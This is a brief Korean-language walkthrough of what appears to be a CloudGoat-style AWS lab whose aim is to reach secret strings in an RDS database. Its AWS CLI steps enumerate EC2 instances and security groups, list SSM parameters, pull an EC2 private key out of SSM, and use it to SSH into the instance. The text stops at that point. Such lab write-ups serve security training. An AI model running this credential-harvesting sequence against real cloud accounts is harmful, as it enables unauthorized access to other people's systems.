A pair of secret strings stored in a secure RDS database.
RDS 데이터베이스에 접근해 숨겨진 문자열을 찾아야한다.
# Exploit Scenario - Solo
step1. configure
$ aws configure --profile Solo
instance info.
$ aws ec2 describe-instances --profile Solo
security group
$ aws ec2 describe-security-groups --profile Solo
SSH
22번 포트를 통해 SSH 연결을 할 수 있는 것 같아보인다.
step3. SSM
AWS SSM(System Manager) AWS에 설치된 인프라들을 보고 관리하는 데에 사용하는 AWS 서비스 다양한 AWS 서비스들로부터 사용가능한 데이터를 볼 수 있고, AWS 리소스들을 통한 작업들을 자동화할 수 있다. - https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html
$ aws ssm describe-parameters --profile Solo
파라미터 정보들을 출력할 수 있다.
$ aws ssm get-parameter --name cg-ec2-private-key-codebuild_secrets_cgidt9wr740lv5 --profile Solo
$ cat >> private_key
$ chmod 600 private_key
파일을 직접 저장할 때는 '\n'을 진짜 뉴라인은로 바꿔줘야한다.
$ ssh -i private_key ubuntu@<ec2 instance public ip>